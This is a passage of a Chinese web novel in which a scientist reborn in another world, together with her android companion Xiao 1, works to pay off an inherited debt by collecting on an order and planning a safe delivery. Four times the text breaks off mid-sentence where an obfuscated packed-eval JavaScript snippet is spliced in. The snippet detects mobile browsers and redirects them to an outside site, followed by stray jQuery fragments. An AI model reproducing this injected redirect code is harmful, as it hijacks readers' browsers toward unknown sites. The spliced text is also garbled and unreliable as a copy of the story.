“预案二:定向清除。根据数据库分析,债务根源为‘执事7号’。我可尝试对其进行物理性清除”意思杀了执事7号,“成功率估算:8.1%。风险:与预案一一样,导致暗流商会直接敌对,可能招致更高级别清算者。风险等级:毁灭性。”
“预案三:寻找并劫掠龙族宝藏,成功率未知,风险等级:毁灭性。”
“预案四:向高等文明或神秘存在祈愿,成功后进行高风险交易,成功率未知,风险等级:未知,大概率导向毁灭或比毁灭更糟的结局。”
小1用她那甜美的嗓音,报出了一连串堪比自杀式的方案。
“预案五:……”
祝梧心看着小1,仿生人少女依旧站得笔直,表情认真,仿佛刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668880|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚提出的不是一连串自杀式方案,而是什么营养剂配方。
而且这些方案,与其说是解决方案,不如说是狗急跳墙下的同归于尽。成功率低得可怜,留下的后患却一个比一个惊人。
祝梧心忽然注意到,在小1报出这些方案时,她那完美无瑕如同白瓷般的脸颊上,竟然泛起了一层淡淡的红晕。就好像人类情绪激动时的那种血色。
她在……“努力”?
这个发现让祝梧心有些奇怪,仿生人会出现这种情绪吗?
不过还是得先阻止她一下,这些预案……祝梧心心中叹气,真用不了。
“停。”祝梧心打断她。
“嗯?”小1歪了歪头,“这些预案您都不满意吗,我可以再……”
“没有,不是。”祝梧心说,“只是小1,你的应急预案库里,有没有那种……不用偷窃,不用干掉债主,不用我们盗取宝藏后亡命天涯,也不用求神拜佛,就能安安稳稳把钱还上的方案?”
小1明显顿住了。
她偏了偏头,眼中的数据流出现了瞬间的凝滞。
随后她喃喃,声音比刚才低了一些:“检索中……安安稳稳……还钱……”
几秒钟后,她抬起头,眼神里带上了一丝……困惑。
祝梧心看着她那副认真思考却得出“无解”结论的样子,有些无奈,感觉这破债务,给高精度仿生人都要整宕机了,想着,她重新开口。
“所以,你的逻辑里,应急预案的解决方式只有消灭威胁源或者自我毁灭两条路?”语气恢复了她平时的冷静,不再那么紧绷。毁灭他人或自毁,也符合林守恒的输入逻辑。
“是的。”小1确认道,“但,所有者小姐期望‘安安稳稳’,我正在重新计算……”
可祝梧心感觉到,她语气里好像带上了一点类似于……不甘的情绪波动,看着她微微蹙起眉头,脸颊泛红,全力运算试图并达成“安安稳稳还钱”这个指令的模样,祝梧心忽然觉得,这个林守恒制造出来的本该冰冷无情的工具,好像并不像她想象的那么……简单。
也许,在这具仿生的躯壳下,并非只有预设的程序。
她轻轻吐出一口气,将目光从小1身上移开,投向窗外。
三百八十天。
放弃继承是死路一条。
硬碰硬是死路一条。
那么,剩下的路似乎只有一条——
在这个光怪陆离危机四伏的异世界,赚到那笔足以买下她和小1活下去的巨款。
怎么赚?
她是一个科学家,不是商人。
她的目光缓缓扫过空旷,奢华却死气沉沉的庄园大厅。
这么大的空间,这么多的房间……
5. 第 5 章
这个模糊的想法刚在祝梧心脑海出现,甚至还没来得及细想。
一道电话铃声突然响起。
“叮铃铃——叮铃铃——”
祝梧心和小1同时转头。
门厅柜子上放着一台造型复古的黑色转盘电话机。
小1眼中数据流微微闪过:“通讯线路接入,来源:永寂平原,灰岩城注册号码。”
祝梧心眼神微动。但执事7号刚走,应该不会是商会。
小1已经走到电话旁,看向祝梧心,等待指令是否接听这通电话。
祝梧心对小1点头。
小1拿起听筒,还没来得及开口,对面就传来一个急促的声音:“您好!请问……请问是林守恒教授吗?终于打通了!我们之前联系了好几次都……”
小1顿了一下,目光看向祝梧心,在征求祝梧心的意见,如何回应对方。
简单几句话,祝梧心意识到一个事情,对方好像不知道林守恒已经死了?
但不确定,再试探一下。
她几步走到小1身边,对着她做了个口型,同时伸手示意。
小1默契地将听筒递给她。
祝梧心将听筒贴近耳朵,再开口时,声音压低放缓,带上了一种训练有素让人听起来非常专业的腔调。
“您好,这里是薄暮之路17号,教授目前有事外出不在庄园,我是庄园新来的管家,姓祝,您有什么事情可以先告知我,等教授回来,我会第一时间为您转达。”
撒谎对她而言并不难,完全面不红心不跳。
电话那头沉默了几秒,好像是在消化“新管家”这个信息,但他的急切很快压过了对新管家的好奇。
“哦,哦,原来是祝管家,您好您好!”男人很快又说,“我是灰岩城‘锤子工坊’的负责人,巴顿。我们之前在教授这里预定了一批货物,是三台工程用仿生机器人。原定的交货日期快到了,但我们这段时间一直联系不上教授,心里实在有点着急,所以才冒昧打扰……”
仿生机器人?祝梧心立刻抓住关键词,余光下意识看向安静站在一旁的小1。难道小1不是唯一,而是量产?
她一边听着一边用口型示意小1,锤子工坊,仿生机机器人订单,几个字,示意小1查询。
一边又安抚巴顿。她稳住语气:“请您不要着急。您预订的货物,庄园这边应该有记录,稍安勿躁。”
小1调出数据,将相关资料投射到祝梧心眼前的空气中。
【订单编号:JCZ-7746】
【订货方:锤子工坊】
【货物:S-03工程用仿生机器人×3】
【约定交货日期:自签约起第30日】
【备注:尾款未支付(金额:360万灵晶币)】
祝梧心目光落在最后一行,眼神一亮。
尾款金额。
未支付。
这简直,是瞌睡遇到了枕头!
老天保佑。
虽然这360万不能让她还清林守恒的债,但是能支付第一期的还款,甚至还能剩一点,怎么不算是给了她一个喘息的机会。
那边巴顿催促了:“还没好吗……祝小姐……”但说是催促,声音却有些畏畏缩缩,好像害怕自己的催促会惹她生气一样。祝梧心忽然想到执事七号给她展期时候说的话,林守恒在这个世界很有威望,给林守恒面子。
难道说,林守恒在这个世界真的很牛逼?
不过她很快回应巴顿:“巴顿先生,请您稍等,我还在查询。”
她假装查询,实际上是在看小1发过来的所有详细信息,确定自己能不能拿到这笔钱。
看到最后。
【当前状态:制造完成,待交付】
祝梧心松了口气。
距离约定交货日期还有七天,货物是现成的。
沉默了一下她对着听筒说道:“巴顿先生,查询到了。您预定的三台S-03工程型仿生机器人已经制造完成,请您放心,我们一定会按照约定日期,也就是七天后,准时交付。”
巴顿那边似乎松了口气:“太好了!谢谢您祝管家。”但随后又有点犹豫,“只是……我们这边工程紧急,能不能……能不能今天就给我们发货?”
今天就发?她还不知道机器人放在什么地方,也不知道灰岩城和锤子工坊的具体位置,更不知道这个世界的物流是什么样子,她发不了,今天怎么样都发不了。
祝梧心语气带上犹豫还有一丝丝的为难:“巴顿先生,我理解您的急迫,但您是知道的,林教授对待自己的作品,要求极为严苛,我不能在教授外出时贸然替他发货。因为发货前教授还要对产品进行最后的调试,这关乎到产品的长期稳定性和性能发挥。所以为了确保您拿到的时最完美的产品,我恐怕不能今天就为您发货。”
电话那头的巴顿沉默了一下。显然这话他听进去了。
“好吧,您说的对。”
“麻烦您了祝管家。”
“不麻烦。”
祝梧心轻轻将话筒放回去,发出咔哒一声轻响。
通话结束。
客厅里恢复了安静。
她站在原地,没有立刻说话,反而是长舒一口气,执事7号走了以后的紧绷感,被这个订单缓解了不少。
小1也安安静静,只是她看着祝梧心的目光,有些探究。好像她无法理解祝梧心刚才一系列言行的动机。
“所有者小姐,”她终于开口,声音里带着困惑,“资料显示,您并未接受过管家只能培训,并且,您对巴顿先生传达了不实信息,您规避了教授已逝世的事实,这种行为,在所有者小姐的社会社交模型中,通常被定义为‘欺骗’。”
祝梧心转过头,看向小1那双清澈的眸子。仿生人少女的逻辑直接,一就是一,二就是二,很明显刚才她对巴顿说的话,在她的理解中,是不合逻辑的。
她扯了扯嘴角:“小1,在你的数据库里,有没有关于‘权宜之计’和‘生存策略’的词条解释?”
小1偏了偏头:“检索中……权宜之计,指,为应付当前紧急情况而采取的临时性办法。生存策略,指为了维持自身生存而采取的一系列行为和决策。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668881|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“那么,我们现在的情况,”祝梧心抬起手,指了指自己,又指了指小1,最后指向这座庄园,“债务,期限,活下去,是不是我们当前最紧急的情况?”
小1:“是”
“刚才那通电话,以及得到那笔尾款,是不是我们维持存在,也就是活下去,最直接有效的策略?”
小1眼中蓝光微微闪烁,似乎在努力处理这段复杂的人类逻辑。过了几秒,她点了点头:“逻辑链成立,符合生存策略的原则。”
“所以,”祝梧心总结道,“在生存面前,适当的、不损害对方核心利益的‘信息调整’是可以被允许的。我们交付合格的货物,他们支付约定的尾款,这是一场公平的交易。至于,教授是否在世,与交易本身无关。”
小1安静地听着,片刻后,她再次轻轻点头:“理解。”
“您刚才的应对,非常非常非常高效。”
她用了三个非常,好像在强调似的,一成不变的语调,竟然有了细微变化。
说完,她看着祝梧心,眼神好像比刚才多了一点什么。
像是,崇拜。
祝梧心自然也发现了。
她这是,被一个仿生人少女崇拜了么?唇角肌肉无意识动了动。
小1看着祝梧心,眨了眨眼睛:“所有者小姐,您笑了。”
祝梧心摸了摸唇角。
笑吗?
或许吧。
大约一会,她重新开口:“对了,那三台S-03在哪里?”她问小1,当务之急是确认货物,确保七天后能顺利拿到那360万灵晶币。
“在地下一层的成品仓储区,请随我来。”
小1转身带路,祝梧心跟上。
她们穿过空旷的走廊,走向通往地下一层的楼梯。
楼梯是石质的,盘旋向下,越往下,空气里的温度明显越低,带着一股金属和机油混合的味道。
地下一层远比祝梧心想象的要大,有很多门,像一个小型工厂。
小1在一个标注着【待交付品-A区】的金属门前停下。
“所有者小姐。”小1轻声道。
祝梧心点头:“开门。”
小1将手按在门侧感应区,门应声打开。
里面整齐地站立着三台人形机器。
它们的外形比小1要粗犷很多,骨架更大,外壳是深灰色的金属,关节处结构明显,手臂末端是可替换的工具接口,脸是同一个模组。
这就是S-03工程用仿生机器人。
祝梧心走上前,她仔细检查了它们的关节活动性、接口和基础系统自检报告。
一切数据显示,它们状态完好,处于待机状态,随时可以激活交付。
“制造记录,使用手册,以及……激活密钥都在这里吗?”祝梧心问。
“是的,所有相关文件已备份在独立存储盘中。”小1指向旁边工作台上的一个金属小盒,“激活密钥需在交付时,由客户亲自激活。”
祝梧心拿起那个金属存储盘,掂了掂。很好,货物没问题,接下来就是物流和交付细节了。
6. 第 6 章
“灰岩城的位置,和安全的运输方式有什么?”她特别强调了安全,一定要安全,在这个世界,她可不敢随便找家“快递公司”。
小1眼里数据流闪烁:“灰岩城位于永寂平原中部,距离庄园距离约两百八十公里。林教授以往对外交付高价值物品,通常使用‘信鸽商会’的定向传送服务,秒送。该商会信誉评级为优秀,但费用较高。”
定向传送?祝梧心挑眉,这倒是方便。但是费用高,是多高?
“多少钱?”她问。
“一万灵晶币。”
祝梧心:“……”
过了一会。
“还有其他……的运输方式吗?”她问。
小1微微点头,报出数据:“陆行兽运输车队,费用约300灵晶币,耗时五至七天,途中需经过裂变峡谷,因该区域盗匪活动较为频繁,有几率货物遗失,一般货物送达后才支付运费。空中信使,非战斗型翼人族,费用2500灵晶币,耗时一天,但承重与安全型仅适用于小型物品。”
祝梧心:“频繁是多频繁?”得有个具体概念。而且时间上,陆运勉强来得及,价格听起来也在接受范围内,最重要的是,到货再付运费对现在的她非常合适。
小1:“根据最近两个月公开及非公开情报统计,裂变峡谷区域平均每1.6个标准日会发生一起抢劫事件,成功逃脱或反杀概率——低于百分之十五。”
祝梧心:“……”平均不到两天一次,这哪是频繁,这是土匪窝每天固定开张营业吧。
但就算是土匪窝每天固定开张营业,她也只有这一个选择。
“陆行兽运输车队……”她低声重复了一遍,指尖无意识在空气中敲了敲,“这样小1,帮我调取裂变峡谷近三个月内盗匪活动的具体时间、盗匪的大致规模,作案手法的详细报告,越详细越好。还有就是裂变峡谷最新最精确的地形图,包括已知的常规路线、隐蔽的小路、易于设伏和反设伏的地形标注。再然后收集所有关于‘陆行兽运输车队’本身的信息,包括她们常用的护卫配置、应对袭击的常预案、以及……信誉评价,是否有监守自盗或者与盗匪勾结的记录。”毕竟逃脱或反杀概率太低了,很难让她不怀疑是否有内应。
“数据整理需要时间,你不用急,整理好了汇总给我。”祝梧心补充道。
“指令已接收。预计全部数据整理与分析完成,需要一小时。”
“不急。”祝梧心摆摆手。一个小时,她还等得起。况且她现在,环顾了一下地下一层,“我想先清点一下。”她要看看,林守恒到底还留下了些什么。
“指令收到。”小1点头,“我将优先处理裂变峡谷数据分析。”
“去吧,去忙吧。”
小1微微躬身,转身走向楼梯口,身影很快消失在拐角。
地下室里只剩下祝梧心一个人,她走到地下室最中央的工作台前,上面放着一台看起来像是电脑的装置,但比电脑要大很多,屏幕是暗着的。她试着按了几个按钮,没反应。
“权限验证。”她对着空气说了一句。
屏幕应声亮起,上面写着,请验证。
她想了想,将手腕上的水晶靠近屏幕旁边的感应区。
“滴”一声轻响,界面解锁,跳出了一个文件管理器的窗口,里面分门别类标注着【实验数据】、【物资清单】、【庄园日志】等等。
祝梧心直接点开了【物资清单】。
列表很长,密密麻麻,从高纯度晶块到各种她听都没听过的金属材料,从标准规格的螺丝钉,到标注着“高危”、“活性”、“不可接触”的各种材料。
她的目光快速扫过,大部分东西对她目前赚钱还债的目标来说,意义不大。
直到她看到一个子目录——【待交付品】。
里面除了刚才那三台S-03,还有几条记录。
【物品:定制型环境净化器(精灵族)】
【状态:制造进度76%】
【备注:客户已支付80%定金,尾款待交付后结清。(尾款金额:120万灵晶币)】
【物品:高精度元素萃取仪(矮人族)】
【状态:制造进度50%】
【备注:客户已支付50%定金,因材料成本上涨,需补差价及支付尾款。(总计待收款:85万灵晶币)】
……
祝梧心看着那一串串待收款的数字,心脏不争气地加速跳了几下。
如果……如果这些订单都能顺利交付……
但这念头只是一闪而过,就被她压了下去。
这些订单都处于未制造完成状态,林守恒已经死了,这些东西也都是她完全没有涉猎过的领域,况且她现在连第一个订单的运输问题都还没搞定,想太多无异于画饼充饥。
叹了口气,她关掉【物资清单】,又点开了【实验数据】。里面大多是些她看不懂的符号和曲线图,涉及了什么能量、生物基因、认知干扰。能量和生物基因她能理解,但认识干扰?是什么?
想着她随便点开几个实验数据,快速浏览,大多是些理论和初步实验记录,看得她眉头直皱。林守恒的研究方向,果然一如既往的……偏激且不顾后果。
但好像也没有什么特别的。
祝梧心又抬眼环顾四周,这里除了摆放S-03的待交付品-A区,还有B区、C区,还有一些没有名字的门。林守恒在这里到底搞了多少东西?
想着,她走向离自己最近的B区。权限已开,现在所有门对她来说都畅通无阻。
推开B区的门。
里面整齐排列着很多货架。她目光扫过货架上那些东西,脸上没什么表情,这些东西风格,很林守恒。
她走到一个货架前,上面放着几个密封的玻璃罐。
罐子里是一些被切割的生物组织碎片,分辨不出原貌。
祝梧心面无表情看着,脑海里却忽然不受控制闪过多年前。那只被她偷偷养崽床底下的小兔子。被发现后,兔子不见了。几天后,林守恒把一个玻璃罐放在她桌上。
“你不是喜欢它吗?”林守恒的声音带着一种扭曲的愉悦,“让它在里面一直看着你,陪着你。来,跟它对视啊!你不是喜欢它了吗?!”
……
祝梧心闭了闭眼,收回思绪,继续往里走。
在一个角落的货架上,她发现了一些被随意堆放的文件和笔记。
她随手拿起一本翻开。
字迹是林守恒的。
但奇怪的是,里面记录的不是科学公式,更像是一些,自言自语?
“……仪式所需的‘坐标’已初步锚定,‘门’后的低语愈发清晰,干扰严重。理智告诉我应该停止,但那终极的答案……”
“……失败了。界限在哪里?物质与精神的转换公式……错误,全错了……”
“……祂听到了!”
“……代价……代价是什么?”
“……旧神的骸骨是阶梯,还是陷阱?……”
“……必须找到更稳定的‘锚点’……”
“……成功了!虽然只是碎片,但证明了路径可行!……钥匙……”
笔记到这里戛然而止。
祝梧心看着那些断断续续甚至语无伦次的文字,背后升起一股寒意。
门?锚点?祂?林守恒什么东西成功了?
她继续往下看,后面的内容更支离破碎。
夹杂着大量她根本看不懂的符号和扭曲的图像。
祝梧心快速翻着。
███ ██不可直视不可名状窃取者终将
字迹在这里戛然而止,带着一种仓皇的断裂感。
终将怎么样?
祝梧心再往后翻,发现这已经是最后一页了。
理智告诉她,这本笔记很危险,她不该探究。
林守恒在这个世界,追求的显然不是她们那个世界的科学,林守恒在触碰一些危险的东西,即便只是用文字表达,她也能感觉到那些东西,很危险。
但林守恒这个实验,她不感兴趣,也不想知道,人死了,这个实验也该跟着一起死。将笔记放回架子上,祝梧心深吸一口气,转身离开了这间房间。
刚走出来。
“所有者小姐。”
小1的声音从楼梯口传来,打断了她的思绪。
祝梧心转过身:“分析好了?”好像比预计的时间快了不少。
小1点点头,走到她面前:“我怕所有者小姐着急,优先输出了核心数据,已经传送给您了。”
怕?祝梧心捕捉到这个的带有主观情感的词,她看向小1,仿生人少女蓝色眸子依旧纯澈,似乎没意识到自己说了什么。
意识到祝梧心的视线,小1眨了眨眼:“所有者小姐?”
祝梧心收回目光:“没事,谢谢。”她顿了顿,补充道,“辛苦你了,你去休息吧,具体怎么操作,我明天再跟你商量。”
“是。”小1点头,没有多问。
随后祝梧心回到二楼卧室。
刚进门,就打开灯径直走到书桌前坐下,手腕微动,数据流就从手链上投射了出来。
祝梧心仔细看。裂变峡谷盗匪主要分为三
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668882|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
股势力,近期因争夺一条新发现的小型矿脉,冲突加剧,活动范围有所扩大。最新地形图显示,有一条废弃的古代商道可以绕开部分高危区域,但路程会增加约百分之十五。
祝梧心手微微挥动,下一张图上面清晰地标注着那条古代商道的路线。
绕行的确可行,但增加百分之十五的路程……时间就更紧了。
……
时间过的很快,窗外天色彻底暗了下来。
祝梧心一直坐在书桌前,手链投射出的光照在她脸上映出她此刻认真的表情,一条条数据在她眼前划过,地形图,车队护卫配置,已知的与盗匪遭遇案例……大量的信息需要她交叉对比,归纳总结。
她看的很快,大脑像一台高效运行的处理器,过滤无用信息,提炼关键点。额头伤口的疼和耳朵里的嗡鸣声时不时也会出来一下,但都被她用强大的专注力直接压了下去。
门外传来轻微的响动。
祝梧心没回头,依旧沉浸在自己的世界。
小1也没有进来,只是将一碗调配好的营养合剂和一个装着几片白色药片的小碟子放在门口的地板上,然后悄悄地离开了。
也不知道过了多久,祝梧心才起身,走到门口开门拿起那碗依旧灰绿色的糊糊和药片,看也没看把药片倒进嘴里,混着绿色糊糊几口灌了下去。糊糊口感依旧令人作呕,她微微蹙眉,但很快又被屏幕上的数据吸引了全部注意力。
结合盗匪通常的伏击点,她推演着各种可能的情景,有时候他会停下,调出某次劫掠事件的详细报告,反复查看当时的幸存者的零散描述。
……
天光从窗户透进来的时候,她终于将最后一条备用路线写完了。
将所有方案都整合好后,窗外树林的轮廓在天光的照耀下都清晰了不少。
她猛地向后靠在椅背上,伸了一个大大的懒腰,全身的骨头都在嘎吱嘎吱。
她看向窗外。天都亮了啊。
看着她打了个哈欠,疲惫如迟来的潮水,瞬间淹没了她。
窗户照出来她的脸,眼底青黑一片,睡衣皱巴巴,头发乱的跟鸟窝一样。
她无所谓扯了扯嘴角,又打了个哈欠,抱起桌上那叠她整理出来的资料,连鞋都来不及穿,就打开房门。
楼下,小1正在进行日常的庄园维护。听到脚步声,她抬起头,看到从楼上走下来的祝梧心——穿着睡衣,头发凌乱,浓重的黑眼圈让她看起来像个游魂,但唯独那双眼睛,很亮。
小1明显顿了一下,蓝色眸子微闪,她在分析祝梧心此刻的状态。
“所有者小姐……”
祝梧心没等她说完,就把怀里那叠厚厚的资料塞到她手里,动过因为疲惫有些踉跄。
“联系,陆行兽运输队。”她声音沙哑的厉害,“按照我标注的路线和预案……跟他们谈,告诉他们,货物价值很高,必须按照我的路线走……价格可以适当上浮一点,但必须保证……到货后付款。”
“对了,还有,告诉他们,这是林守恒教授的货物。”
她语速很快,交代完就像是最后一点力气也被抽干了,整个人都虚脱了,直接倒进旁边沙发里,沙发很软,她深深陷了进去。
小1抱着那叠还带着祝梧心体温的资料,站在原地。沙发上蜷缩成一团的身影,那么单薄,几乎要被沙发吞没。
数据流在她眼底忽然闪过。
【生命体征:疲劳度极高,体温轻微下降,已进入睡眠状态。】
【行为分析:蜷缩,双臂环抱自身——常见于缺乏安全感或感到寒冷,结合环境温度数据。】
小1微微侧目,外面不知道什么时候竟然下起了小雪。
【判定为寒冷。】
指令忽然在她核心逻辑中莫名地切换了一个。
她转身,片刻后,拿着一条柔软厚实的羊毛毯走了回来,她小心地将毯子展开,然后轻轻地盖在祝梧心身上,还仔细掖好边角,确保没有缝隙会漏风。
做完这一切,她静静站在沙发边凝视沉睡的祝梧心。
大约两分钟后,她开口:“指令收到,与陆行兽运输队进行联络。”
就在她准备转身离开时,沙发上的人忽然轻轻地动了动,小1动作停下,随即看到祝梧心嘴唇上下翕合了一下,发出一声很模糊的呓语。
新的指令?
小1立刻将听觉传感器的灵敏度调至最高。
但那声音太轻太模糊。
她微微俯身,试图再次捕捉。
“……小……兔……”
“小……兔……”
7. 第 7 章
不是清晰的指令。
小1偏了偏头,眼中数据流再次闪过。
【词汇匹配:小兔。】
【关联信息:数据库无相关指令关联。检索所有者原生世界文化背景……常见释义:一种小型哺乳类动物,象征意义:温顺、脆弱、需保护。】
【综合分析:非有效指令,疑似睡眠下潜意识活动。】
得出了无价值指令这个结果后,小1重新站直。但她看着祝梧心在睡梦中因为呓语而微微蹙起的眉头,以及无意识将毯子抓的更紧,把自己缩的更小的动作。她无法理解‘小兔’这个词汇在此时伴着所有者小姐行为出现的意义,也无法解析其中的含义。
可沉默片刻,她记录下了这个瞬间。
记录下了祝梧心在睡梦里,流露出的这种与她平日冷静疏离截然不同的状态,然后转身离开,去处理祝梧心对她下达的首要指令——联系陆行兽车队。
-
祝梧心这一觉睡得昏天黑地,一觉睡到了下午。
然后被饿醒了。
胃里空的发慌,那种灼烧感让她从睡眠中醒来。刚睁开眼,映入眼帘的不是卧室的天花板,稍微愣了几秒钟,才想起来,她好像把资料一股脑塞给小1以后,直接就不省人事了。她坐起身,毯子从肩头滑落。毯子?小1替她盖的吗?
想着她环顾四周,寻找小1身影。
小1总是会在祝梧心需要的时候适时出现。
“所有者小姐,您醒了?”
像一个,完全可靠,又不吵闹的完美伙伴。
“嗯。”祝梧心揉了揉眉心,声音带着刚醒的沙哑,“谢谢你的毯子。”
“这是我应该做的。”小1说。
“对了。”祝梧心又问,“联系的怎么样了?”
“已按照您提供的路线与方案,与陆行兽运输队完成沟通,对方对初始更改路线有所疑惑,对我们主动挑选运送人员的行为也有所疑虑,但在获悉,是为林守恒教授运输货物,并在知晓我们愿意主动将运输价格上浮百分之二十后,对方同意了。约定明日上午来装载货物,待货物运抵灰岩城后,支付运费。”
“很好。”祝梧心松了口气。第一步总算迈出去了。
肚子又不合时宜地咕噜叫了一声,在安安静静的客厅里显得格外清晰。
小1立刻道:“需要为您准备营养合剂吗。”
又是那玩意儿,祝梧心胃里下意识一阵抽搐,虽然没有味道,但那口感,实在是挑战生理极限。
她站起身,活动了一下睡的有些僵硬的脖子:“不用了。你带我看看那个……可食用植物培育模块。”她记得小1提过,这东西处于休眠状态,如果能重启,哪怕就是种出来一点普通青菜,也比天天喝大鼻涕强。
“指令收到。”
小1领着祝梧心穿过主宅后方的一条廊道,来到一个连着主建筑的独立玻璃温室前面。
温室面积不小,但此刻里面只有干裂的泥土和枯死的植物残骸,栽培槽空着,中间有一个操作台,上面还零星散落了几包落满灰尘的种子包。
“培育模块已停止使用超过三百天。”小1报告道,“我可以为您重启,需要重启吗。”
祝梧心走进温室,蹲下身,用手指捻了捻干硬的土块,作为一个曾经为了省饭钱,在出租屋阳台用泡沫箱种过小葱和蔬菜的人,眼前这些东西,对她来说,简直不要太有用。
祝梧心:“重启。”
小1点头:“若要完全重启,以我的工作效率,预计需要十分钟。”
祝梧心站起身,拍了拍手上的灰:“好。”
小1的执行力毋庸置疑,她立刻走向操作台,伴随着一阵低沉的嗡鸣,温室顶部的照明系统逐一亮起,洒下模拟日光,通风系统也开始运作,发出细微的声响。
祝梧心没闲着,她走到那些空置的栽培槽前,弯腰检查灌溉管道有没有堵塞,手指一碰,灰尘飞出来不少,沾在她苍白的脸颊和睡衣上,她不在意,继续检查。
“所有者小姐,”十分钟后,小1声音从操作台那边传来,“基础系统已激活,灌溉与光照程序载入完毕,物理清洁程序启动。”
话音刚落,几个圆盘状的清洁机器人从墙壁隐藏着的收纳舱里滑出,开始清理地面的枯枝败叶和灰尘。
祝梧心直起身,看着迅速变整洁了的温室,她走到操作台边,拿起那几包种子,指尖拂去上面的灰尘。
“夜光苔……泣血兰……蚀心菇……”她轻声念出来,眉头皱起。这些名字听着就不像能吃的。
“林守恒以前在这里种菜?”她问。除了这些种子的名字,她也实在想象不出来林守恒挽着袖子一身泥在这种菜的样子。
小1摇摇头:“教授从未进入过本培育模块,该模块最初是为模拟特定生态环境,以培育某些实验所需的稀有植物样本而建造,后期因教授研究方向变更,模块进入休眠状态。”
果然,祝梧心扯了扯嘴角,林守恒那种人,眼里只有他那些研究,怎么可能有闲情逸致种菜。
祝梧心把这些种子拨到一边。这些不能用,然后她环顾四周,在角落里看到一个灰扑扑的袋子,她走过去,袋子上面没写名字,她解开系绳,往里看了看,是一些深褐色的种子。
她拎着袋子朝小1走来:“这些袋子里是什么?”
小1看了一下:“是蚀心菇的种子。”
好吧。忽然觉得胃里更空了。
她把袋子往地上一放,拍了拍手上的灰,放弃了。没有种子,就算有种植模块,她也不能凭空种出菜来,而且最主要的是,她现在也没有钱买种子。
看来,短期内想改善伙食是没戏了,祝梧心心中叹了口气,认命地想着那碗大鼻涕营养合剂,只能吃这个了。
“先回去吧。”祝梧心说。
回到主宅餐厅,小1很快端来一杯清水和一碗灰绿色营养合剂。祝梧心面无表情接过来,仰头,几乎是屏着呼吸,几口咕咚咕咚就把这糊糊灌下去了。
吃完,放下碗,她打了个哈欠,生理性的泪水沁出眼角,通宵过后的疲惫再次涌了上来。
“我再去睡会儿。”她对安静站在旁边的小1说,声音有些含糊,但说完忽然响起来什么似的,“不用在我门口守着我,你也去休息吧。”虽然她知道仿生人不需要人类这种所谓的休息,但她潜意识里,她更想平等的对待小1,而不是把她单纯当成一个奴仆。
小1并不知道她心中的想法,微微躬身:“是,所有者小姐,有任何需要,请随时呼唤我。”
祝梧心点点头,拖着有点重的脚步回了二楼。
虽然很困了,但她还是先去冲了个澡。
热水从花洒中倾
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668883|188601||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泻而下,驱散了她连日来积压的一些疲惫。水温有点高,烫的她皮肤微微发红,同时也让她苍白的脸色多少有了点血色。她闭着眼,任由水流在脸颊流过,耳边只剩下哗哗的水声,这种水声竟然暂时隔绝了一会儿一直没断过的不知道到底从何而来的耳朵里的嗡鸣声。
洗完澡,换上干净的睡衣,带着沐浴后的暖意倒在床上,柔软的床铺瞬间将她包裹,比昨天晚上在沙发上躺着不要舒服太多。
随后她侧过身,目光落在窗外。
外面飘着小雪,天色已经暗了,看什么都是混沌一片。
没什么好看的,她视线从窗外收回,最后落在自己手腕上。
那枚深蓝色的水晶在室内光线下泛着微微的光泽。
执事7号的话忽然出现在她耳边。
“……能维持您目前生命形态存在的,正是这条手链,一旦剥离,后果将是……彻底消散。”
手指无意识勾住手链的链条,链条勒进指腹。
车祸瞬间那种被死亡笼罩的感觉忽然涌现。
摘下来吗?
试试看会不会真的像他说的一样。
这个想法带着一种致命的诱惑力,像深渊中伸出的触手,轻轻搔刮着她的理智。
如果不是……
那……
她指尖微微用力,链条瞬间被绷紧,水晶坠子轻轻晃动,折射出细碎的光。
心跳在安静的房间里变得清晰可闻。
只要稍微用力,她就能……
然后呢?
然后验证一个催债专员的话是真是假?用自己的命,去验证?
祝梧心手指顿住了。
她看着那枚水晶,眼神忽然复杂起来。
这不是实验室,实验室可以无数次试错,失败了顶多重来,现在,这里,有些错误,只要是错了,就是万劫不复。
冲动是魔鬼。
